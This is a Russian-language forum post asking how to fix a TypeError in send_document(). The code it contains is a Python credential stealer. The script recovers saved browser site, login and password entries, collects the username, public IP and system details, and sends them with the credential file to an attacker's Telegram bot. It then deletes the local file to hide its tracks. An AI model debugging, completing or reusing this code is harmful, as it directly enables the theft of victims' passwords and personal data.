Всем привет, решил протестировать программу, но столкнулся со следующей ошибкой: TypeError: send_document() takes 1 positional argument but 3 were given, как можно её исправить?
# -*- coding: utf-8 -*-
from hackpy.passwords import *
import os, requests, telebot, platform
token = ''
adm =
bot = telebot.TeleBot(token)
f = open(r'C:\ProgramData\system.txt', 'w')
for key, account in passwordsRecovery():
passw = '[' + str(key) + '] '+'\n| SITE: ' + account['url'] + '\n| USER: ' + account['login'] + '\n| PASS: ' + account['password'] + '\n'
f.write(passw)
f.close()
filename = r'C:\ProgramData\system.txt'
def send_info():
username = os.getlogin()
r = requests.get('http://ip.42.pl/raw')
IP = r.text
windows = platform.platform()
processor = platform.processor()
systemali = platform.version()
bot.send_message(adm, "Имя: " + username + "\nIP: " + IP + "\nOS: " + windows +
"\n Процессор: " + processor + "\nВерсия ОС : " + systemali)
doc = open(r'C:\ProgramData\system.txt', 'rb')
bot.send_document(adm, doc)
doc.close()
send_info()
os.remove(r'C:\ProgramData\system.txt')